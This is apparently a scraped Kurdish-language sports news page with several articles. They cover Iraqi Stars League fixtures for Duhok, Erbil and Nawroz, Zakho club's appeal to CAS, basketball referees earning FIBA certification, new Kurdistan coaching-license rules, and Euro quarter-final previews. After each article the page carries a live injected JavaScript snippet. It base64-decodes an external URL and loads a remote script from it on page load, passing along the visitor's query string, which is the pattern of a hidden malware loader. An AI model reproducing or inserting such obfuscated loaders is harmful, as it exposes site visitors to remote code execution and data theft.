قەیس وەیس:

بڕیارە ئەڤرۆ پێنج یاریێن مایی ژ هەڤڕكیێن گەڕا 36ێ‌ یا خولا ستێرێن ئیراقێ‌ یا فوتبۆلێ‌ بهێنە ئەنجامدان، بەربژارێن ناسناڤی د یاریێن ئەڤرۆ دا دێ‌ ل بن گڤاشتنێن مەزن بن و دوور نینە یانەك خوە نێزیكی ناسناڤی بكەت و ئێكا دی نێزكی پاشڤەچوونێ‌ بیت ، هەر سێ‌ یانەیێن كوردستانی دهۆك، هەولێر و نەورۆز د ئەركێن جودا دێ‌ شەڕێ‌ سێ‌ خالان كەن.
دهۆك ب پشت گەرمییا جەماوەرێ‌ خوە گەشبینە
ئەڤرۆ ل دەمژمێر 7:15 مەغرەب جەماوەرێ‌ یانەیا دهۆك ب ژڤانن ژبۆ پشتەڤانییا تیما خوە یا فوتبۆلێ‌ دەمێ‌ مێڤاندارییا یانەیا مینا یا بەسرایی دكەت د یارییەكا دهێتە پێشبینیكری بۆ ئەلهۆیێن چیا دەلیڤەیا كۆمكرنا خالان بیت و پاراستنا رێزبەندیا خوە بكەت، د نوكە دا تیما دهۆكێ‌ ب كۆمگرنا 56 خالان ژ 14 سەركەفتن، 14 وەكهەڤی و حەفت خوسارەتیان ل رێزا شەشێ‌ دهێت، د بەرانبەر دا تیما مینا خودانا 40 خالان رێزا 12ێ‌ دهێت هەرچەندە خوسارەتی چو كارتیكرنێ‌ ل سەر پاشڤەچوونا وێ‌ بۆ پلا نایاب ناكەت، لێ‌ ب سەركەفتن دوور نینە رێزبەندیەكێ‌ پێشڤە بچیت.
هەولێر بەرانبەر بەربژارا ناسناڤی یە
هەردیسان ئەڤرۆ ل دەمژمێر 9:30 شەڤ تیما یانەیا هەولێر دێ‌ د تاقیكرنەكا ئاگرین دا بیتە مێڤانا یانەیا جەوییە ئێك ژ ب هێزترین یاریێن قەلا و منارە ئەوا ب37 خالان رێزا 14ێ‌ دهێت، لێ‌ خودانێن ئەوا شەڕی بۆ ناسناڤێ‌ وەرزێ‌ ئەڤ سالە دكەت ب 75 خالان رێزا دویێ‌ دهێت كێمتر ژ پێنج خالان ژ خودانا سەرێ‌ لیستێ‌ یانەیا شورتە ئەوا دێ‌ ئەڤرۆ ی بەرانبەر نەجەف یارییەكا ب هێز كەت.
نەورۆز پێدڤی ب قەرەبوویا خالانە
ل دەمژمێر پێنجێ‌ ئێڤارییا ئەڤرۆ تیما یانەیا نەورۆز دێ‌ ل یاریگەها سلێمانیێ‌ مێڤاندارییا یانەیا زەورا كەت ئێك ژ یاریێن ی یێن ب هێز بۆ یانەیێن كوردستانی، نەورۆز ئەوا ب51 خالان رێزا حەفتێ‌ دهێت د دو یاریێن بۆری دا تووشی خوسارەتیێ‌ بوویە دێ‌ بزاڤێن قەرەبووكرنا خالان كەت، لێ‌ یانەیا زەورا مێڤانەكا ب سانەهی نابیت ئەوا ب72 خالان رێزا سێیێ‌ دهێت و شەڕی بۆ رێزا دویێ‌ ژی دكەت، هەروەسان بڕیارە ئەڤرۆ یانەیا نەفت ئەلبەسرا مێڤاندارییا یانەیا نەفت بكەت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

عەلی حاجی:

د داخویانیەکێ دا سکرتێرێ یانەیا زاخۆ یا وەرزشی بۆ رۆژنامەیا ئەڤرۆ دیار کر ل ئه‌ینییا بهێت دووماهی ژڤانە فیدراسیۆنا فوتبۆلا ئیراقێ بەرسڤا دادگەها کاس بدەت و ئەم ب هیڤینە سێ خالێن یاریێ ڤەگەرنەڤە.
زێدەتر هشیار شەهباز گۆت: یاریا مە ل بەرامبەر یانەیا نەفت وەسەت ژ چارچووڤێ گەرا ٣٦ ژ خولا ستێرێن ئیراقێ ژ گرنگترین یاریێن مەیە خولا ئەڤ سالە دا ژبەرکو ب ڕێیا ڤێ یاریێ ئەم دێ زانین کو ئایا یانەیا زاخۆ رێزا چارێ د خولێ دا مسوگەر کر یان ژی نە، ڕاستە یانەیا ناڤهاتی هاتیە خارێ بۆ خولا نایابا ئیراقێ لێ ئەو خوە ب دەستڤە بەرنادەت، پشكدارییا ئەمجەد عەتوان و ناسر محەمەدو بۆ هه‌ر یاریه‌كێ گه‌له‌ك گرنگه‌ ژبه‌ركو هێزا تیمێ نه‌، د ڤان یاریێن بهێت دا چاڤێ مە ل رێزێن چارێ و سیێ یە د رێزبەندیا خولێ دا لێ یا گرنگ بۆ مە دەستپێکێ ئەوە بشێن رێزا چارێ مسوگەر بکەین.
ناڤبری گۆت ژی: هەتا نوکە دادگەها کاس بابەتێ سکالەیا مە ئێکلا نە کریە و دووماهی ژڤان دایە فیدراسیۆنا فوتبۆلا ئیراقێ هەتا پێنجی ڤێ مه‌هێ یه‌ ئانكو ئه‌ینییا بهێت بەرسڤا نامەیا وان بدەت و بەروڤاژی ئەو دێ بریارا خوە دەن لەوما ل دووڤ وان بەلگەیێن ل بەر دەست هەمی تشتەک د بەرژەوەندیا مە دایە.
ناڤبری گۆت ژی: ئەم ب چو ڕەنگان دەستان ژ مافێن خوە بەرنادەین ژبەرکو مافێ جەماوەرێ مەیە، ئەم پێشبینیا هندێ کەین ئێکەتیا فیدراسیۆنا فوتبۆلا ئیراقێ هندەک گڤاشتنان بکەت داکو ئەم سکالا خوە ڤەکێشین لێ هەر د وی دەمی ژی دا دێ ل سەر بریارە خوە بین و سکالا خوە ڤەناکێشین.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

هەردو دادڤانێن پارێزگەهێ‌ یێن نێڤدەولەتی محەمەد نەبی و بەهدین شوكری د تاقیكرنێن نێڤدەولەتی بۆ نووكرن و وەرگرتنا باوەرنامەیا دادڤانیێ‌ ب سەركەفتیانە دەربازكرن، ئەوا ژلایێ‌ فیدراسیۆنا باسكێت بۆلا ئیراقێ‌ ب هەڤكاری دگەل یا نێڤدەولەتی FIBA ل پایتەختێ‌ ئیراقێ‌ بەغدا هاتییە رێكخستن.
د داخویانیەكێ‌ دا حسێن ئەلعمێدی سەرۆكێ‌ فیدراسینا فوتبۆلا ئیراقێ‌ دیار كر كو 28 دادڤانێن ئیراقێ‌ یێن ناڤا یاریگەهێ‌ و ل سەر مێزێ‌ شیان ب سەركەفتیانە باوەرنامەیێن نێڤدەولەتی و هندەك ژی نووكرنا باوەرنامەیا خوە بكەن، پشتی شیایین د تاقیكرنێن تایبەت یێن ب ڕێیا ئۆنلاینێ‌ یا فیدراسیۆنا نێڤدەولەتی FIBA ب سەركەڤن و ئەڤ هژمارەیە گەلەك یا باش بوو ب كۆمەكا دادڤانێن مە ببنە خودان باوەرنامە و ئەڤەژی پالدەرەك كو دێ‌ د چالاكیێن نێڤدەولەتی دا پشكداریێن باش هەبن، دەستخوەشیێ‌ ل هەمی دادڤان دكەین.
بۆ زانین محەمەد نەبی شیا باوەرنامەیا خوە بۆ چار سالێن بهێت نووكر هەروەسان ژی بەهدین شوكری ژی شیا تاقیكرنێن دادڤانییا ل سەر مێزێ‌ ب سەركەڤیت سەرەرایی دادڤانێ‌ نێڤدەولەتی یێ‌ نیڤا یاریگەهێ‌ نە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

پشتی بۆرینا نێزیكی سێ‌ مەهان فیدراسیۆنا فوتبۆلا كوردستانێ‌ ئێكەم كۆمبوونا خوە یا فەرمی ئەنجامدا ئەوا تێدا هژمارەما رێنمایێن نوو بۆ وەرزێ‌ 2024-2025ێ‌ دەركرن و بڤی شێوەی.
د بڕیاریێن هاتینە بەلاڤكرن دا هەر راهێنەرەكێ‌ یانەیەكا خولا نایابا كوردستانێ‌ برێڤەببەت دڤێت خودان باوەرنامەیا ئاسیایی یا ئەی یان بیت بیت، ژبلی ئەڤان هەردو باوەرنامەیا ماف نینە ببیتە راهینەر، لێ‌ ئەو راهێنەرێن خودان باوەرنامەیێن بی و سی دشێن ببنە راهێنەرێن تیمێن پلا ئێك، لێ‌ ئەو یانەیێن پلا دو دا دڤێت راهێنەرێن وان خودان باوەرنامەیێن بی و ژێهەل بن.
ژلایەكێ‌ دیڤە دیاركریە كو ئەو راهێنەرێن خولا فوتسالا كچان دا پێدڤی ب ئێك ژ ئەوا هەر سێ‌ باوەرنامەیێن ئاسیایی هەیە هەتا ببیتە راهێنەر، دیسان ئەو راهێنەرێن گۆلپارێزان د خولێن پلا نایاب، ئێك دڤێت باوەرنامەیا ئاسیایی یا راهێنەراتییا گۆلپارێزان هەبیت لەوما فیدراسیۆنا كوردستانێ‌ ژی دێ‌ خولەكا راهێنانێ‌ بۆ راهێنەرێن گۆلپارێزان ڤەكەت.
د لایەنەكێ‌ دی دا بڕیار هاتیە دان ابین سەرۆك یانە ببیتە سەرپەرشتیارێ‌ تیمێ‌، دڤێت سەرپەرشتیار ئێك ژ یاریزانێن پێشتر یێن خولا ئیراقێ‌ یان كوردستانێ‌ بیت و خودان باوەرنامەیا راهێنەرانیی اسی بیت یان ژی دادڤانەكێ‌ پێشتر د خولا ئیراقێ‌ یا كوردستانێ‌ دا بیت، دیسان بڕیار هاتە دان ئێكی پۆستێ‌ رێڤەبەرێ‌ تیمێ‌ یێ‌ سەرجەم یانەیان د خولێن كوردستانێ‌ دا نە مینیت.
بۆ زانین ئەڤ بڕیارە هاتنە دانان ل دووڤ بۆچوونێن چاڤدێرێن وەرزشی بۆ هندێ‌ فیدراسیۆنا فوتبۆلا كوردستانێ‌ زێدەتر كونترۆلا بەرەلاییا هەبوونا راهێنەرێن بێ‌ باوەرنامە یان ژی خودان باوەرنامەیێن دەستپێكی و هەروەسان زێدەتر دەلیڤە دان بۆ ئەوان راهێنەرێن خودان باوەرنامە تایبەت راهێنەرێن كورد یێن هەرێما كوردستانێ‌.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

شاهۆ فەرید:

ئەڤرۆ ژی ل دانێ‌ شەڤێ‌ پشتەڤانێ وەرزشی ل جیهانێ چاڤەڕێ‌ دیتنا دو یاریێن ب هێز و هەڤڕكی نە ئەوێن ژ چارچووڤەیێ‌ هەڤڕكیێن قۆناغا 16ێ‌ دەربازبوون بۆ قۆناغا چارێك دووماهیێ‌ كو دهێتە هژمارتن قۆناغا دیاركرنا سەنگا خوە ئەوا نوكە یاریێن وێ‌ ل وەلاتێ‌ ئەلمانیا دهێتە كرن، بۆ زانین سەركەفتیێن هەردو یارییان دێ‌ ل قۆناغا بهێت بەرانبەر ئێك یاریێ‌ كەن.
فرەنسا – بەلجیكا
ل دەمژمێر حەفتی شەڤ یاریگەها ئالیانێز دێ‌ مێڤانداریكرنا هەلبژارتیێ‌ فەرەنسا و بەلجیكا كەت، هەلبژارتیێ‌ فرەنسا نە وەكو جارانە ب تەكتیك و ئاستەكێ‌ لاوازە دیاربوویە هەرچەندە دەربازبوویە ڤێ‌ قۆناغێ‌، لێ هێشتا جەماوەر د ترسیت، د تاقیكرنەكا گەلەكا بزەحمەت دایە د دێربیا رۆژئاڤایێ ئۆرۆپا بەرامبەری بەلجیكا مباپێ و هەڤالێن خوە داخوازكرینە بۆ ڤەگەڕاندنا هێزا فرەنسا، ژلایێ خوەڤە هەلبژارتیێ بەلجیكا هەمان ئێش و ئازاریێت لاوازییا ئاستی هەنە، جەنگاوەریێن ڤایكینگێ ئەڤ جارە دێ جەنگەكێ ب زەحمەتر هەبیت بۆ دەربازبوونێ‌، ئەڤە دێربییە كەڤنارا ئۆرۆپایە ،75 جارا كەڤتینە بەرامبەری ئێك بەلجیكا شیایە 30 سەركەفتنا بینیت بەرانبەر 25 سەركەفتنان بۆ فرەنسا و 19 جاران وەكهەڤی ئیناینە د هەمی چالاكیێن فوتبۆلێ‌ دا، دووڤ داتا و ئامارا بەلجیكا نێزیكترە بۆ سەركەفتنێ لێ دیكل دێ‌ شێت ب دەنگێ خوە رێگریێ ل جەنگاوەریێ ڤایكینگی گریت!.
پۆرۆتوگال – سلوڤینیا
هەلبژارتیێ پۆرتۆگالی دڤێ یۆرۆیێ دا چانسەكێ باش هەبوویە تایبەت یاریا ئێكێ دا وەختێ كوژەك ڤەگەریا و سەركەفتنا یاریا دویێ پتر هاریكاریا وێ كر دەربازبیتە قۆناغا شانزدێ، ژلایێ بەرگیری ڤە یاریا بۆری پۆرتۆگال لاواز دیاردكر و یاپێدڤی پێشكێشنەكر هەكە هەمان شاشی دووبارە بن دوور نینە ژڤێ قوناغێ مالئاڤایێ ژ یۆرۆیێ بكەتن، ژلایێ خوەڤە هەلبژارتیێ سلۆڤینیا بۆ جارا دویێ یە دیروكا خوە دا رووی ب رووی پۆرتۆگالێ دبیت دێ بزاڤا وێ چەندێ كەتن ناڤ و دەنگیا جاران یا سلۆڤینیا ڤەگرینتینە ناڤا تەپاپێی و تایبەتی یۆرۆیێ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();